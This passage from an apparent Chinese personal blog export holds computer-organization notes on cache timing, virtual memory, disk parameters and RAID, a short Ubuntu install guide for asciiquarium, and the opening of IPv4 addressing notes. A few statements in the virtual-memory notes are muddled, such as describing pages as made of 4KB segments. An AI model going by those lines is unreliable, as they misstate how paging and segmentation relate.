href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-3-5-Cache%E6%80%A7%E8%83%BD%E5%88%86%E6%9E%90\" class=\"headerlink\" title=\"4.3.5.Cache性能分析\"\u003e\u003c/a\u003e4.3.5.Cache性能分析\u003c/h3\u003e\u003col\u003e\u003cli\u003e加速比\u003cul\u003e\u003cli\u003eCache-主存系统的平均访问时间(周期)$T_A$:\u003cul\u003e\u003cli\u003e$T_A=H\\times T_C + (1-H)\\times T_M$\u003c/li\u003e\u003cli\u003e$T_A=H\\times T_C + (1-H)\\times(T_B+T_C)=T_C+(1-H)\\times T_B$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e其中,$T_C$和$T_M$分别是Cache和主存的访问周期,数据块装入Cache的时间是$T_B$,Cache的命中率为$H$。当命中率很高时,$T_A \\to T_C$。\u003c/p\u003e\u003cp\u003e上面的两个等式,对应的分别是1,2两种情况。第二个式子的考量就是,如果没有命中缓存,则耗时为缓存装入时间加上缓存访问时间。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602200132.png\"/\u003e\u003c/p\u003e\u003cp\u003e例如,假设$H=95%,T_M=100ns,T_C=10ns$,则可得$T_A=14.5ns,S_P=6.9$。其中的$S_P$就是加速比,定义为$S_P=\\frac{T_M}{T_A}$。\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e成本\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e$C=(C_1\\times S_1+C_2\\times S_2)/(S_1+S_2)$,也就是主存价格*主存容量+缓存价格*缓存容量\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e命中率与Cache容量的关系:\u003cbr/\u003e$H=1-S^{-0.5}$\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602201118.png\"/\u003e\u003c/p\u003e\u003cp\u003e这给出了Cache容量的合理考虑区间。\u003c/p\u003e\u003col start=\"4\"\u003e\u003cli\u003e命中率与块大小的关系\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602201348.png\"/\u003e\u003c/p\u003e\u003col start=\"5\"\u003e\u003cli\u003e两级Cache\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e未命中率(失效率):$\\text{总失效率}=\\text{失效率}_\\text{第一级} \\times \\text{失效率}_\\text{第二级}$\u003c/p\u003e\u003ch2 id=\"4-4-虚拟存储器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-4-%E8%99%9A%E6%8B%9F%E5%AD%98%E5%82%A8%E5%99%A8\" class=\"headerlink\" title=\"4.4.虚拟存储器\"\u003e\u003c/a\u003e4.4.虚拟存储器\u003c/h2\u003e\u003cp\u003e高速的主存容量不能满足要求,因此开发出了虚拟存储器(软件实现)。\u003c/p\u003e\u003cp\u003eCPU集成的:Cache,MMU等。这些为主存的实现提供了基础。\u003c/p\u003e\u003cp\u003e虚拟存储器=主存储器+外部存储器+辅助硬件(MMU)+系统软件(OS)。而虚拟地址得先转换成指向真实物理内存的物理地址才能拿来使用(地址转换)。\u003c/p\u003e\u003cp\u003e地址映像:全相联;地址变换:MMU。虚拟存储器相当于内存扩展的一种实现手段,通过将内存映像到磁盘上,模仿Cache的原理,以此扩大主存容量。\u003c/p\u003e\u003cp\u003e这其中涉及三种地址空间:\u003c/p\u003e\u003cul\u003e\u003cli\u003e虚拟地址空间:编程中用到的\u003c/li\u003e\u003cli\u003e主存储器地址空间:物理地址\u003c/li\u003e\u003cli\u003e辅助地址空间:磁盘存储器的地址\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e因地址映像和变换方法不同,存储方式分为段式存储、页式存储、段页式存储。\u003c/p\u003e\u003cul\u003e\u003cli\u003e段式存储:每个程序段从0开始编址,长度不定。如下图,把数据分段,再把数据装入内存。对于不常用的段,系统会把它放入磁盘。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230603231831.png\"/\u003e\u003c/p\u003e\u003cp\u003e缺点有俩。一个是太慢了。因为得做两次运算;另一个是,页表太大了。\u003c/p\u003e\u003cul\u003e\u003cli\u003e页式虚拟存储器:跟上面一样,分页,页大小固定。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它的缺点很明显。当地址空间过大时,它的体积会很大。为了解决这个问题,出现了多级页表。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230603232901.png\"/\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e段页式存储器:先分段,每个段再分页。这需要段表和页表,它们都由操作系统管理。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e由于页表本身很大,因此引入了一个CPU内部的Cache用来存储TLB,而慢表存储在主存中。虚拟地址和Cache地址一样,也是把物理地址转化来得到的。每一个段的大小是4KB,页则是由若干个段构成。段有额外的位用于标记读写执行情况。段内有偏移,页内也有偏移。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e注意:页/段页都是以页为基础单位来和磁盘交换数据的,只有段式是以段为单位和磁盘交换的。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e页表级数为i,则$\\frac{2^P}{B_e}^i=2^V$,简化得:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ei=\\frac{log_2 2^V}{log_2 2^P-log_2 B^e}=\\frac{V}{P-log_2 B^e}=\\frac{V}{P-N_e}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e其中,$V$是虚页号的位数,$P$是页内偏移的位数,$N_e$是页表每一项需要几位编址。\u003c/p\u003e\u003ch2 id=\"4-5-外存储器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-5-%E5%A4%96%E5%AD%98%E5%82%A8%E5%99%A8\" class=\"headerlink\" title=\"4.5.外存储器\"\u003e\u003c/a\u003e4.5.外存储器\u003c/h2\u003e\u003cp\u003e磁盘特点:\u003c/p\u003e\u003cul\u003e\u003cli\u003e优点:存储容量大,单位价格低、记录介质可重复使用、可长期脱机保存、非破坏性读出\u003c/li\u003e\u003cli\u003e缺点:存取速度慢、机械结构复杂、工作环境要求高\u003c/li\u003e\u003c/ul\u003e\u003col\u003e\u003cli\u003e磁记录原理\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e写入:磁头通不同方向的电流,就能在磁化材料上留下不同方向的磁场。\u003c/li\u003e\u003cli\u003e读取:原来是磁头切割磁感线,电流方向就是信息。现在是GMR效应,读取使用单独的头,能实现更高的容量。从LMR到垂直记录技术(PMR)的改进也大幅提高了磁盘容量。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e记录方式,和计算机网络中的编码是相似的,有RZ,NRZ,NRZ1,FM,MFM,PM等:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230603235144.png\"/\u003e\u003c/p\u003e\u003cp\u003e这是磁盘的结构,一般民用磁盘大气压和外界一样的,高速旋转时,会在表面形成气垫,托起磁头。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230603235245.png\"/\u003e\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e硬盘的数据记录格式\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e磁盘内部物理地址\u003cul\u003e\u003cli\u003e柱面 \u003cstrong\u003eC\u003c/strong\u003eylinder\u003c/li\u003e\u003cli\u003e记录区 \u003cstrong\u003eH\u003c/strong\u003eead\u003c/li\u003e\u003cli\u003e扇区 \u003cstrong\u003eS\u003c/strong\u003eector\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e结构方面,单个面分为一个一个的环,称为\u003cstrong\u003e磁道(Tracks)\u003c/strong\u003e。几个盘面上的同位置的磁道组合起来称为一个\u003cstrong\u003e柱面(Cyinder)\u003c/strong\u003e。磁盘上一个扇形区域称为一个\u003cstrong\u003e扇区(Sectors)\u003c/strong\u003e。\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e主要技术指标\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e道密度:道/mm,道/英寸\u003c/li\u003e\u003cli\u003e位密度:bit/mm,bit/英寸\u003c/li\u003e\u003cli\u003e存储容量\u003cul\u003e\u003cli\u003e非格式化容量=位密度x内圈磁道周长x每个记录面的磁道数x记录面数\u003c/li\u003e\u003cli\u003e格式化容量=每个扇区的字节数x每道扇区数x每个记录面磁道数x记录面数\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617192822.png\"/\u003e\u003c/p\u003e\u003cp\u003e存储容量如上,有两种。早期为方便管理,将所有磁道等分为相同的扇区数。\u003cstrong\u003e磁道外圈可靠性最高(因为外圈的词单元尺寸最大,所以最可靠),从外圈开始编号\u003c/strong\u003e。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e平均访问时间\u003c/strong\u003e:平均寻道时间+平均等待时间(转半圈的速度)+数据传输时间,是毫秒级别的参数。\u003c/li\u003e\u003cli\u003e转速:RPM(转/分钟)\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e数据传输速率\u003c/strong\u003e:磁头找到数据地址后,单位时间读/写的字节数。计算方法为:$\\text{每个扇区的字节数}\\times\\text{每道扇区数}\\times\\text{磁盘转速}$\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617194108.png\"/\u003e\u003c/p\u003e\u003cp\u003e上面是2001年生产的硬盘参数,能从参数看出磁盘对加工精度的极高要求。下面是一个硬盘容量计算的例题。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617194904.png\"/\u003e\u003c/p\u003e\u003cp\u003e受限于磁盘的物理原理,磁盘的随机访问性能相对比较差。因此,引入了磁盘阵列RAID。\u003c/p\u003e\u003ch4 id=\"4-5-1-磁盘阵列RAID\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-5-1-%E7%A3%81%E7%9B%98%E9%98%B5%E5%88%97RAID\" class=\"headerlink\" title=\"4.5.1.磁盘阵列RAID\"\u003e\u003c/a\u003e4.5.1.磁盘阵列RAID\u003c/h4\u003e\u003cblockquote\u003e\u003cp\u003e这部分内容了解就行(\u003cdel\u003e不了解也行\u003c/del\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e作用就是通过设置重复设备,来提高整体的性能和可靠性。详细可以看这本书:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617195224.png\" alt=\"这俩也是很猛的佬,整了个硅谷出来。MIPS处理器也是他们设计的\"/\u003e\u003c/p\u003e\u003cp\u003eRAID全称呼:独立冗余磁盘阵列(Redundant Array of Independent Disks)。不过刚开始I表示的是Inexpensive,廉价。\u003c/p\u003e\u003ch5 id=\"RAID0:无冗余\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID0%EF%BC%9A%E6%97%A0%E5%86%97%E4%BD%99\" class=\"headerlink\" title=\"RAID0:无冗余\"\u003e\u003c/a\u003eRAID0:无冗余\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617195645.png\"/\u003e\u003c/p\u003e\u003cp\u003e性能高,但是可靠性不高。并且需要至少两块硬盘。\u003c/p\u003e\u003ch5 id=\"RAID1:两块盘互为镜像\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID1%EF%BC%9A%E4%B8%A4%E5%9D%97%E7%9B%98%E4%BA%92%E4%B8%BA%E9%95%9C%E5%83%8F\" class=\"headerlink\" title=\"RAID1:两块盘互为镜像\"\u003e\u003c/a\u003eRAID1:两块盘互为镜像\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617195818.png\"/\u003e\u003c/p\u003e\u003ch5 id=\"RAID0-1-x2F-RAID01\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID0-1-x2F-RAID01\" class=\"headerlink\" title=\"RAID0+1/RAID01\"\u003e\u003c/a\u003eRAID0+1/RAID01\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617195914.png\"/\u003e\u003c/p\u003e\u003ch5 id=\"RAID1-0-x2F-RAID10\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID1-0-x2F-RAID10\" class=\"headerlink\" title=\"RAID1+0/RAID10\"\u003e\u003c/a\u003eRAID1+0/RAID10\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617195925.png\"/\u003e\u003c/p\u003e\u003ch5 id=\"RAID2:冗余使用汉明码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID2%EF%BC%9A%E5%86%97%E4%BD%99%E4%BD%BF%E7%94%A8%E6%B1%89%E6%98%8E%E7%A0%81\" class=\"headerlink\" title=\"RAID2:冗余使用汉明码\"\u003e\u003c/a\u003eRAID2:冗余使用汉明码\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617195959.png\"/\u003e\u003c/p\u003e\u003ch5 id=\"RAID3:位交错奇偶校验\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID3%EF%BC%9A%E4%BD%8D%E4%BA%A4%E9%94%99%E5%A5%87%E5%81%B6%E6%A0%A1%E9%AA%8C\" class=\"headerlink\" title=\"RAID3:位交错奇偶校验\"\u003e\u003c/a\u003eRAID3:位交错奇偶校验\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617200046.png\"/\u003e\u003c/p\u003e\u003cp\u003e不能并发读写\u003c/p\u003e\u003ch5 id=\"RAID4:块级奇偶校验\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID4%EF%BC%9A%E5%9D%97%E7%BA%A7%E5%A5%87%E5%81%B6%E6%A0%A1%E9%AA%8C\" class=\"headerlink\" title=\"RAID4:块级奇偶校验\"\u003e\u003c/a\u003eRAID4:块级奇偶校验\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617200221.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以并发读取,不过不能并发写入。\u003c/p\u003e\u003ch5 id=\"RAID5\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID5\" class=\"headerlink\" title=\"RAID5\"\u003e\u003c/a\u003eRAID5\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617200316.png\"/\u003e\u003c/p\u003e\u003ch5 id=\"RAID6\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID6\" class=\"headerlink\" title=\"RAID6\"\u003e\u003c/a\u003eRAID6\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617200331.png\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617200357.png\"/\u003e\u003c/p\u003e\u003ch2 id=\"4-6-Cache一致性协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-6-Cache%E4%B8%80%E8%87%B4%E6%80%A7%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"4.6.Cache一致性协议\"\u003e\u003c/a\u003e4.6.Cache一致性协议\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e了解就行\u003c/p\u003e\u003c/blockquote\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/"},{"title":"试试终端养鱼(Linux)!","time":"2023-05-31T13:17:06Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e我在Ubuntu上得安装点依赖,主要是Cursor和Animation;剩下的很简单。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 安装curse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo apt-get install libcurses-perl\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 安装Animation\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ewget http://search.cpan.org/CPAN/authors/id/K/KB/KBAUCOM/Term-Animation-2.4.tar.gz\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etar -zxvf Term-Animation-2.4.tar.gz ; \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e Term-Animation-2.4/\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eperl Makefile.PL \u0026amp;\u0026amp; make\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emake install; \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e ..\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 安装asciiquarium本体\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ewget http://www.robobunny.com/projects/asciiquarium/asciiquarium.tar.gz\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etar -zxvf asciiquarium.tar.gz\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e asciiquarium_1.1/\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo \u003cspan class=\"built_in\"\u003ecp\u003c/span\u003e asciiquarium /usr/local/bin\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo \u003cspan class=\"built_in\"\u003echmod\u003c/span\u003e +x /usr/local/bin/asciiquarium\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003easciiquarium \u003cspan class=\"comment\"\u003e#如果不行的话,重启终端\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e效果这样:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230531212306.png\" alt=\"这不挺好\"/\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/05/31/%E8%AF%95%E8%AF%95%E7%BB%88%E7%AB%AF%E5%85%BB%E9%B1%BC%EF%BC%88Linux%EF%BC%89%EF%BC%81/"},{"title":"计网笔记:第四部分-网络层","time":"2023-05-24T08:33:07Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"Chap-19-逻辑寻址\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#Chap-19-%E9%80%BB%E8%BE%91%E5%AF%BB%E5%9D%80\" class=\"headerlink\" title=\"Chap.19.逻辑寻址\"\u003e\u003c/a\u003eChap.19.逻辑寻址\u003c/h2\u003e\u003cp\u003e逻辑层通信的实现基础。TCP/IP实现了这个全球寻址方案。IP地址分为IPV4和IPV6两种,后者是前者的升级版本,目前前者在主要使用。\u003c/p\u003e\u003cp\u003eIPV4地址有$2^{32}$个,因为它的长度是32位,也就是四个字节。下面主要讨论的是IPV4。\u003c/p\u003e\u003ch3 id=\"IPV4地址\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#IPV4%E5%9C%B0%E5%9D%80\" class=\"headerlink\" title=\"IPV4地址\"\u003e\u003c/a\u003eIPV4地址\u003c/h3\u003e\u003cul\u003e\u003cli\u003e32位长\u003c/li\u003e\u003cli\u003e唯一且通用\u003c/li\u003e\u003cli\u003e地址空间是$2^{32}$\u003c/li\u003e\u003cli\u003e标记法有二进制标记法,和十进制点分标记法(常用每位范围从0-255)\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"分类寻址\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#%E5%88%86%E7%B1%BB%E5%AF%BB%E5%9D%80\" class=\"headerlink\" title=\"分类寻址\"\u003e\u003c/a\u003e分类寻址\u003c/h4\u003e\u003cp\u003e这种方法将地址空间分为ABCDE这5类。ip地址开头4位就能确定地址的类。\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"left\"\u003e前4位\u003c/th\u003e\u003cth\u003e第一个字节\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd 